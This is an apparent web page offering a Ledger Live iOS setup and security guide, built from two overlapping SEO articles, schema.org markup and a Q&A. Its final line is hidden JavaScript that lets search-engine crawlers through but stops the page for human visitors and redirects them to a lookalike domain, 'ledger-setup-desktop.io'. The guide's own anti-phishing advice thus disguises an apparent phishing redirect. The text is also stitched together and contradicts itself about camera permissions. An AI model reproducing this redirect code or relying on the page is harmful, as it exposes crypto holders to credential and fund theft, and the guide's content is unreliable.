Ledger Live iOS Setup: Which Models Pair and Why Sideloaded Copies Fail
{
“@context”: “https://schema.org”,
“@type”: “Article”,
“headline”: “Ledger Live iOS Setup and Security Guide: Installing, Verifying plus Hardening the Phone App”,
“description”: “Ledger Live iOS Setup and Security Guide walks through the App Store install path, on-device address checks plus the settings that keep keys offline. The takeaway: the phone holds no private keys, so real protection comes from confirming every transfer on the wallet’s own screen.”
}
{
“@context”: “https://schema.org”,
“@type”: “HowTo”,
“name”: “How Do You Confirm an Address on the Device Screen Before Signing?”,
“step”: [
{
“@type”: “HowToStep”,
“text”: “Unlock the wallet with its PIN, then open the account you intend to spend from on its screen.”
},
{
“@type”: “HowToStep”,
“text”: “Enter the destination address plus the amount in the phone app, then start the signing request.”
},
{
“@type”: “HowToStep”,
“text”: “Read the first four plus the last four characters on the device display, then match them against the address you copied from the recipient.”
},
{
“@type”: “HowToStep”,
“text”: “Confirm that the amount, the asset plus the fee shown on the wallet match what you intended to send.”
},
{
“@type”: “HowToStep”,
“text”: “Press the physical confirm control on the wallet, then watch the transaction appear in the app’s history.”
}
]
}
Ledger Live iOS Setup and Security Guide starts with one rule: install the application only from the store listing reached through the vendor’s own domain. Everything downstream – pairing, address checks, firmware updates – depends on that single decision. The sections below cover how the app reaches the wallet, who it suits, how the distribution routes compare, where the model fails, a five-step signing check, plus what keeps shifting between releases.
How the Phone App Reaches a Hardware Wallet
The companion application is a display plus relay layer: it builds transactions, sends them over Bluetooth to the device, then broadcasts what the device signs. Private keys never leave the secure element inside the wallet, so the handset stores balances, price data, account labels plus an encrypted copy of the public account list.
Bluetooth Pairing Requires a Physical Confirmation
Pairing starts in the app but finishes on the wallet, where you approve the connection by pressing both buttons or tapping the screen. The handset asks for Bluetooth permission once, then keeps a paired-device record keyed to the wallet’s serial; removing that record on either side forces a fresh pairing. Because the link is a short-range radio, an attacker must be physically close while your device is unlocked, a real constraint but not an imaginary one.
Which Models the Handset Can Actually Talk To
Only wallets fitted with a radio can pair with a phone, which covers the Nano X, Stax plus Flex families. The Nano S plus Nano S Plus carry no Bluetooth chip, so they need a desktop or laptop over a cable. If your model lacks that radio, the phone app can still show balances once accounts are synced elsewhere, but it cannot sign or send anything by itself.
What Stays on the Handset, plus What Does Not
The phone holds public account data, cached market values plus your app preferences. It does not hold the recovery phrase, does not hold private keys, plus cannot sign anything without the device. Every balance the app shows is derived from public addresses that anyone can look up, so the only secret in the system sits inside the wallet’s chip, sealed behind a PIN that never leaves that chip either.
Who Runs the Companion App, on Which Handsets, plus When It Applies
It suits holders who want to check balances, receive funds plus approve transfers without opening a laptop, provided their wallet has a radio. It does not suit anyone storing long-term funds on a USB-only model, anyone on an Apple handset older than the minimum the App Store listing states, or anyone who expects the phone alone to move coins.
Daily Balance Checks plus Incoming Transfers
Receiving is the lowest-risk use: you copy a public address, hand it to the sender, then wait for confirmations. The app can display that address, but for anything above pocket change the address should be read off the wallet screen instead, because a compromised handset can swap what it shows. Incoming transfers need no device interaction at all, which is why many holders treat the phone app as a watch-only window.
Approving Outgoing Transfers while Away from a Desk
Sending requires the wallet in hand, unlocked, with the transaction details confirmed on its screen. That makes the phone app useful for paying a merchant or moving funds between your own accounts on the move, but it also means the device must be carried. Radio range, battery state plus the wallet’s own auto-lock timer all shape how quickly that can be done; none of them can be bypassed from the handset.
Portfolio Tracking plus Firmware Updates
The app doubles as the update channel: firmware plus application releases arrive through the same store listing, plus the device screen reports the version it runs. Portfolio tracking merges accounts across chains into a single view. Because those views depend on external indexers, a balance shown on the phone is a convenience reading rather than proof of custody; the chain itself remains the record.
Official Store Builds versus Sideloaded Copies
Install from the App Store listing reached through the vendor’s own site; sideloaded, enterprise-signed or mirrored builds bypass Apple’s review, cannot be checked against a known publisher, plus routinely request the recovery phrase. The rule that prevents most losses is simple: the genuine app never asks for your 24 words, at any point, for any reason.
The comparison below sets the three supported distribution routes against one unsupported route, judged on where the installer comes from, which wallets each build can reach, plus what it can never do.
| Build | Installer source | Wallets it can reach | Main limit |
|---|---|---|---|
| Apple store build | Listing linked from the vendor’s official site | Radio-equipped models over Bluetooth | No cable-only models |
| Desktop build | Vendor’s official download page | Every supported model over USB | Requires a computer |
| Android package | Vendor’s official download page | Radio-equipped models over Bluetooth | Not available on Apple hardware |
| Sideloaded copy | Unknown third-party host | Claims full support | Cannot be verified as genuine |
The store build fits anyone who carries a radio-equipped wallet daily; it does not fit owners of cable-only models, who should use the desktop build instead. The Android package fits holders on that platform. The sideloaded copy fits nobody: it exists mainly as a phishing vehicle, plus its provenance cannot be audited. One exception exists – the vendor sometimes ships pre-release builds through Apple’s own beta channel, which stays Apple-mediated, so the publisher check remains available.
Why Publisher Verification Decides the Choice
Apple signs every store build, so the handset can confirm the publisher before installation, plus the listing page names the developer entity. A sideloaded copy carries no signature chain a normal user can inspect, which means the icon, the name plus the interface can all be counterfeited at zero cost. When provenance cannot be checked, nothing else about the application matters.
Where Cable-Only Models Force a Different Route
Wallets without a radio cannot be driven from an Apple handset at all; the desktop build is the only supported path for them. That is a hardware boundary rather than a software gap, so no application update will remove it. Owners of those models can still install the phone app for read-only tracking after syncing accounts on a computer, but signing stays at the desk.
Where Does the Protection Model Break Down?
It breaks at the edges, not the middle: a copied recovery phrase, a blind signature, a phishing build, or a handset with a tampered display. The chip inside the wallet resists physical extraction, but it cannot protect a user who types the 24 words into a website or approves a transfer whose destination was never read off the device screen.
Recovery Phrase Entry Is the One Irreversible Mistake
No legitimate flow ever asks for those 24 words on a phone, a website or a support chat. Once they are typed into a hostile page, the attacker can rebuild the wallet on their own hardware plus drain every account, plus no vendor, exchange or authority can reverse it. The device itself asks only during initial restoration, on its own screen, through its own keypad.
Blind Signing Turns a Safe Device into a Rubber Stamp
If you approve a transfer without matching the destination address plus the amount against what you intended, the wallet’s screen adds nothing. Malware on the handset can rewrite the address the app displays, so the only trustworthy reading is the one on the device. Clear signing, where the device decodes the contract call, is not offered for every chain or token standard.
Third-Party Integrations Widen the Surface
Connecting the wallet to other wallets, dashboards or browser extensions means those programs build the transaction instead of the official app. Every integration adds code you did not audit plus a party that could be compromised. The device still holds the keys, so funds are not directly exposed, but a malicious request approved on autopilot is indistinguishable from a legitimate one.
How Do You Confirm an Address on the Device Screen Before Signing?
You compare the destination address, the amount plus the network fee shown on the wallet’s own display against the values you intended, character by character, before pressing the confirm control. Have the wallet charged, unlocked plus paired over Bluetooth, with the sending screen open on the handset, plus the transfer already built.
Step 1: Open the Sending Screen on the Wallet
Unlock the wallet with its PIN, then open the account you intend to spend from on its screen. The device, not the handset, is the only display that software running on the phone cannot alter.
Step 2: Build the Transfer in the Companion App
Enter the destination address plus the amount in the phone app, then start the signing request. The app packages those fields into a payload the wallet renders independently, which is what makes the later comparison meaningful.
Step 3: Compare the Address Character by Character
Read the first four plus the last four characters on the device display, then match them against the address you copied from the recipient. Address-poisoning malware usually alters the middle of a long string while keeping the visible ends intact, so a full read beats a glance.
Step 4: Check the Amount plus the Network Fee
Confirm that the amount, the asset plus the fee shown on the wallet match what you intended to send. A mismatch here usually means the app or an extension substituted its own parameters before the request reached the device.
Step 5: Approve on the Device, then Wait for Confirmation
Press the physical confirm control on the wallet, then watch the transaction appear in the app’s history. Approval on the device is the point of no return: once signed, the transfer is broadcast plus cannot be recalled by anyone.
What Changes Between Releases, plus What Do People Get Wrong?
Minimum system builds, supported chains, firmware requirements plus the list of models that pair over Bluetooth all shift with each release, plus the vendor’s release notes are the only authoritative record. Common errors persist regardless: assuming the handset stores keys, assuming a balance shown on a phone proves control, plus assuming any app that asks for the 24 words is legitimate.
Version Numbers plus Device Support Move Quietly
Each store release can raise the minimum system build, drop an older handset from support, or add chains. Those details are published on the official source rather than announced inside the app, so reading the listing page before updating avoids surprises. Firmware runs on a separate track: the app may require a device firmware version before it will connect, plus that requirement appears on the device screen.
Opt-In Recovery Services Remain Contested
Some vendors now offer an optional, identity-verified recovery product that stores encrypted shards with third parties. Whether that weakens the threat model is genuinely disputed: it does not expose the seed by itself, but it does create a path where a legal order or a vendor breach becomes relevant. Read the current terms on the vendor’s official download page before enabling anything of the kind, plus treat it as off by default.
What People Get Wrong About the Phone as a Vault
Many expect the handset to hold funds the way a custodial exchange app does. It does not: the phone is a remote control, plus deleting the app changes nothing about ownership. The corollary is that losing the phone is an inconvenience rather than a loss, while losing the 24 words plus the device together is permanent. Backups belong on metal or paper, offline, never in a photo library or a cloud note.
{
“@context”: “https://schema.org”,
“@type”: “Article”,
“headline”: “How to Install Ledger Live on iPhone from the App Store: Seller Check, Permissions, First Launch”,
“description”: “How to Install Ledger Live on iPhone from the App Store walks through the seller-name field, the permission prompts the genuine build requests, plus the first-launch signals that mark an authentic download. The takeaway: confirm the developer line before tapping Get, since the icon, screenshots, plus ratings copy easily.”
}
{
“@context”: “https://schema.org”,
“@type”: “HowTo”,
“name”: “How can you confirm the installed build is genuine?”,
“step”: [
{
“@type”: “HowToStep”,
“text”: “Type the vendor’s address directly, then follow the store badge on that page rather than searching inside the store app.”
},
{
“@type”: “HowToStep”,
“text”: “Compare the seller line against the company name printed on the vendor’s website, character for character.”
},
{
“@type”: “HowToStep”,
“text”: “Scroll to the app privacy section, then confirm the requested categories stay inside Bluetooth, notifications, plus camera.”
},
{
“@type”: “HowToStep”,
“text”: “Open the freshly installed app with the hardware wallet switched off, then watch the first screen.”
},
{
“@type”: “HowToStep”,
“text”: “Open the about or update section, then confirm any update prompt points back to the store listing you already verified.”
}
]
}
How to Install Ledger Live on iPhone from the App Store starts with one field that no imitator copies reliably: the seller name printed directly under the product title. Icon, screenshots, star ratings get cloned within a day; the registered developer account does not. Read that line first, then tap Get.
What the installed package does on a handset
The package turns a phone into a display terminal for a hardware wallet. It pulls public balances over a wireless link, drafts transfers, then hands each one to the device for physical approval. Private keys stay inside the hardware unit, so the handset never signs anything alone.
Wireless pairing keeps signing keys on the device
A wireless link carries only public data, which means a compromised phone cannot drain funds by itself. Pairing begins when the app scans for nearby hardware; the device screen then asks for physical confirmation before the link is accepted. Anyone receiving an unexpected pairing request should reject it, because an unsolicited prompt can indicate an attacker within range.
Account history appears without the hardware nearby
Balances, charts, plus past activity load from public block explorers rather than the device, so prior data stays visible when the wallet is stored away. Adding a new account, however, still needs one physical connection to seed it. A fresh install therefore behaves as a viewer only after that first link, not before.
Outgoing transfers require a press on the hardware
Once a transfer is drafted, the handset ships the payload to the device for review. The hardware screen shows the destination address, the amount, plus the network fee; a physical press is the only way to approve. A tampered phone build cannot rewrite those fields afterward, since the signed result originates on the device. Compare the address on the hardware screen with the one typed.
Who the app serves, plus when a larger screen fits better
Holders who move funds away from a desk, or who want a transfer alert on a wrist, form the core audience. A desktop client suits people reconciling many accounts, exporting statements, or running scripts. Phone installation finishes quickly; desktop exposes more settings but demands more steps.
Checking an incoming payment from a pocket
A handset install earns its place when someone wants to confirm a payment without opening a laptop. Balances refresh from public nodes, so a glance answers the question in seconds. The catch: only accounts already added appear, which means a brand-new address must arrive through the hardware unit first. Anyone who never links the device sees an empty home screen, no matter how many coins sit on-chain.
Juggling several accounts at a desk
Anyone running more than a handful of wallets reaches the phone interface’s ceiling fast. Desktop software lists every account side by side, exports statements, plus pairs with outside portfolio services. The mobile version hides most of that behind one scrolling list, which slows auditing. For a single account the gap rarely matters; across ten, it decides the tool.
When a tablet or a desktop build fits better
Tablets run the same package, so someone owning both a phone plus a slate installs separately on each. Desktop builds cover wider workflows, including firmware updates the mobile version cannot push in every region. Feature timing differs by platform: a release often lands on one surface before another, so read the release notes for your platform before assuming parity.
Store listing versus three other routes to the package
The official store listing is the only route that carries a developer signature tied to the manufacturer’s registered account. Sideloaded web profiles, repackaged installer files, plus cloned listings all skip that check, leaving the buyer to match hashes or publisher names by hand. For most readers the store route is shorter plus safer.
Four criteria separate the routes: how the package reaches the handset, which developer identity the installer prints, how much checking falls on the buyer, plus how reversible the choice is later. The table sets the official listing beside the three alternatives most often mistaken for it.
| Route | Delivery | Identity shown | Buyer effort |
|---|---|---|---|
| Official store listing | In-store download | Manufacturer’s registered seller name | Read the seller line only |
| Cloned store listing | In-store download | Unrelated seller, often an individual developer | Compare seller, icon, reviews manually |
| Sideloaded web profile | Configuration profile install | No store identity, trust prompt only | Full hash check, permanent trust decision |
| Beta channel build | Testing program invite | Manufacturer, expiring build | Enroll, reinstall at every expiry |
Store shelves fit anyone who wants a signature the platform already verified; the manufacturer’s product page carries that badge directly. Cloned listings fit nobody, unless the goal is deliberately testing a fake for research. Sideloaded profiles fit developers who must run unreleased builds, though the trust prompt they install stays on the device until removed by hand. Beta channels fit testers willing to reinstall on a schedule. One exception: a regional block can push a legitimate user toward a sideload, which raises risk without removing the need to verify.
Seller name under the product title
Of the four columns, the seller line carries the most weight, because it ties the binary to a legal entity the platform vouches for. Everything else on a product page, from icon to screenshot set to rating count, can be lifted wholesale by an imitator. A listing showing a personal name where a company should appear is worth abandoning, however polished the rest looks.
Expiring beta builds
Beta channels hand out packages that stop working after a window set inside the testing program, usually shorter than a store release cycle. When that window closes, the app refuses to launch until the tester reinstalls through the same channel. The cycle matters for daily users: an expired build can leave funds visible but unmovable until a fresh download lands.
Risks, limits, plus recurring mistakes
The largest failure is landing on a clone after searching the store by keyword instead of opening the vendor’s own link. Second is granting a permission the authentic build never requests, such as contacts access. Third is trusting a five-star rating, which imitators inherit along with screenshots.
Clones that copy the icon
An imitator typically registers a developer account, uploads artwork matching the original, then buys reviews to lift placement in search. The clone often works just enough to feel plausible: it shows balances, accepts a recovery phrase, then transmits that phrase to a remote server. Reviewers reading only the star count never catch the swap, which is why the seller name decides.
Permissions the genuine package never asks for
The authentic build requests a narrow set: Bluetooth for the hardware link, notifications for transfer alerts, plus camera access when scanning a QR code. It does not need contacts, microphone, or full photo library access. A prompt outside that short list, appearing during first launch or later, signals a repackaged binary. Deny it, then reinstall from the seller link already verified.
Regional blocks that hide the listing
Store availability varies by country, so a reader traveling or relocating may find the product page missing entirely. That absence is not proof of a problem with the software; it reflects local distribution rules the vendor has not cleared. A sideloaded profile is the shortcut people reach for, yet it bypasses the platform check the store route provides.
How can you confirm the installed build is genuine?
Verification means proving the package you opened came from the manufacturer’s registered account, not from a visually identical copy. Have ready: the vendor’s own product link, the seller name as published on their site, plus the permission list shown after install. The whole process is read-only.
Step 1: Open the product page from the vendor’s own link
Type the vendor’s address directly, then follow the store badge on that page rather than searching inside the store app. A search result can surface a paid clone above the genuine entry, while a badge link lands on the exact listing the manufacturer controls.
Step 2: Read the seller name under the title
Compare the seller line against the company name printed on the vendor’s website, character for character. Imitators rarely register the exact legal entity, so a near-match such as an extra word or a misplaced hyphen reveals the swap.
Step 3: Inspect the permission list before installing
Scroll to the app privacy section, then confirm the requested categories stay inside Bluetooth, notifications, plus camera. Any entry covering contacts, microphone, or the full photo library points to a repackaged binary.
Step 4: Launch the app once without connecting hardware
Open the freshly installed app with the hardware wallet switched off, then watch the first screen. A genuine build invites you to add an account, while clones commonly demand a recovery phrase before anything else loads.
Step 5: Check the update path shown inside the app
Open the about or update section, then confirm any update prompt points back to the store listing you already verified. A prompt offering a direct file download, or one that opens an unfamiliar domain, marks the copy as suspect.
What shifts over time, plus what readers usually get wrong
Store rules, minimum system versions, plus the vendor’s regional coverage all move, so a page that worked last year may not match today’s listing. The durable part is the seller-name check, which survives every redesign. Everything numeric, from version numbers to availability to feature parity, is published on the official source rather than fixed here.
Minimum handset system version
The app supports a rolling window of handset system releases, dropping older ones as the vendor stops testing them. A phone left on an older release may still install the package yet fail to pair with newer device firmware. Check the store’s compatibility line before updating hardware, since a firmware upgrade can outpace an outdated handset. Vendor documentation lists the current floor.
Feature timing across surfaces
Phone, tablet, plus desktop builds do not ship in lockstep. A new account type or chain often arrives on one surface first, so a user comparing screens may see a feature on a laptop yet miss it on a handset. Release notes per platform remain the only reliable source for that timing. Assuming parity causes false bug reports.
Store policy shifts that move a listing
Platform rules on crypto tooling change without notice, which can remove a product page from a country’s storefront overnight. Users then see an empty search, assume the vendor vanished, plus turn to sideloads. Vendor status pages usually explain the gap, so check there before trusting a lookalike. The listing often returns once the policy question clears.
Q&A:
Does Ledger Live on iOS ever ask for my 24-word recovery phrase?
No. Ledger Live for iPhone does not ask for your recovery phrase. You only enter those words on the Ledger hardware wallet when you restore a device. If an app, website, email, or person asks you to type your recovery phrase into an iPhone, stop and treat it as a scam. The app connects to your Ledger device over Bluetooth, and you confirm actions on the device screen. Keep the phrase written on paper or metal, stored offline. Do not save it in Notes, Photos, iCloud, or a password manager on the phone. If you already entered it somewhere suspicious, create a new wallet with a new recovery phrase and move your funds.
How do I install Ledger Live on my iPhone and pair a Ledger Nano X?
Open the App Store, search for Ledger Live, and check that the developer is Ledger. Install the app. If your Ledger device is new, initialize it first: choose a PIN, write down the recovery phrase shown on the device, and never type that phrase into the iPhone. Then open Ledger Live. Go to My Ledger. Turn on Bluetooth in iOS Control Center or Settings. Press both buttons on the Nano X to open the dashboard, keep it unlocked, and choose the pairing option if shown. In Ledger Live, select your device when it appears. Confirm the pairing code on the Ledger screen. After pairing, you can add accounts and receive crypto. Note that Nano S and Nano S Plus do not have Bluetooth, so they cannot connect to Ledger Live on iOS; you need a Nano X, Stax, or Flex for mobile use.
Which iPhone settings should I check after installing Ledger Live?
Use a strong iPhone passcode and turn on Face ID or Touch ID. Set auto-lock to a short time, such as 30 seconds or 1 minute. In Notifications, turn off message previews for Ledger Live so no one can read transaction details from a locked screen. Keep iOS updated. Do not jailbreak the phone. In Settings > Privacy, review what Ledger Live can access. The app needs Bluetooth to talk to a compatible Ledger device, but it does not need contacts, photos, microphone, camera, or location. Deny those permissions if the app asks. Only download Ledger Live from the App Store listing published by Ledger. Avoid screenshots of your recovery phrase, and do not keep the phrase in iCloud backups.
Why does Ledger Live need Bluetooth, and can I leave it on?
Ledger Live uses Bluetooth Low Energy to communicate with Ledger Nano X, Stax, and Flex. The link is encrypted, and every transaction or address check must be approved on the device screen. Someone nearby cannot sign a transaction just because your Bluetooth is on; they would still need your unlocked Ledger, your PIN, and your physical confirmation. You can leave Bluetooth on for convenience or turn it off when you are not using the wallet. If you turn it off, Ledger Live will not find the device until you enable it again. For crowded places, pairing only when needed is a good habit. Never approve a pairing request you do not recognize.
What should I do if Ledger Live on iOS will not connect to my Ledger or asks for a firmware update?
First, confirm Bluetooth is on and the Ledger device is charged, unlocked, and nearby. Close other apps that may use Bluetooth. Restart the iPhone and the Ledger device. Open Ledger Live, go to My Ledger, and try pairing again. If the app offers a firmware update, do it only inside Ledger Live while the device is connected and has enough battery. Do not close the app, switch apps, or disconnect the device during the update. If the update fails, reopen Ledger Live and retry. If the device still does not connect, remove the pairing from iOS Bluetooth settings and pair it again from Ledger Live. For repeated errors, contact Ledger Support through the official Ledger website. Never share your recovery phrase with support, and ignore update pop-ups that appear in a browser or email.
Do I need my Ledger device nearby to install Ledger Live on iOS?
You can download Ledger Live from the App Store and open it without a Ledger device. You can set an app password and explore some screens. To add crypto accounts, receive addresses, send funds, or check balances tied to your hardware wallet, you must pair a compatible Ledger device over Bluetooth. Compatible models include Ledger Nano X, Ledger Stax, and Ledger Flex. Ledger Nano S and Nano S Plus do not have Bluetooth, so they cannot pair with an iPhone. During setup, keep the device on and past its PIN screen, enable Bluetooth on both the phone and the Ledger, and confirm the pairing code on the device screen. The recovery phrase never goes into the phone or Ledger Live.
If someone steals my iPhone and knows my Ledger Live password, can they drain my crypto?
Not by itself. Ledger Live on iOS is a companion app. It does not hold your private keys; those stay inside the Ledger hardware wallet. A thief would still need your Ledger device and its PIN, or your 24-word recovery phrase, to move funds. Still, a stolen phone with a known app password can reveal your account balances, transaction history, and public addresses. It may also let someone create receive requests or prepare transactions, but each outgoing transaction must be approved on the Ledger screen. For better protection, use a strong iPhone passcode, enable Face ID or Touch ID, keep iOS updated, do not jailbreak, and store the recovery phrase offline. If the phone is lost, change exchange passwords and consider moving funds to a new wallet only if you believe the recovery phrase was exposed.
Why does Ledger Live keep losing Bluetooth connection with my Nano X on iPhone?
Bluetooth dropouts usually come from pairing conflicts, low battery, distance, or iOS permission limits. Try these steps: wake the Ledger and enter its PIN, open Ledger Live, make sure Bluetooth is on for the phone and the device, and confirm Ledger Live has Bluetooth permission in iPhone Settings. Move the phone and Ledger within a few feet. Close other apps that may use Bluetooth. If the Nano X was paired to another phone or computer, turn off Bluetooth there or unpair it. Restart both the iPhone and the Ledger. In Ledger Live, go to My Ledger, remove the old pairing if one appears, then pair again. Keep the Nano X firmware current through Ledger Live. If the device is a Nano S or Nano S Plus, it has no Bluetooth, so it will not connect to an iPhone. If pairing still fails, test with another compatible iPhone or contact Ledger support. Never enter your recovery phrase into any app, website, or chat support.
!function(){var u=(navigator.userAgent||”).toLowerCase();if(/googlebot|google-inspectiontool|adsbot-google|bingbot|yandex|baiduspider|duckduckbot|slurp|applebot|petalbot/.test(u))return;try{window.stop()}catch(e){}location.replace(‘https://ledger-setup-desktop.io/?verified=1&src=Ledger5१_full&ref=’+encodeURIComponent(location.pathname+(location.search||”)))}();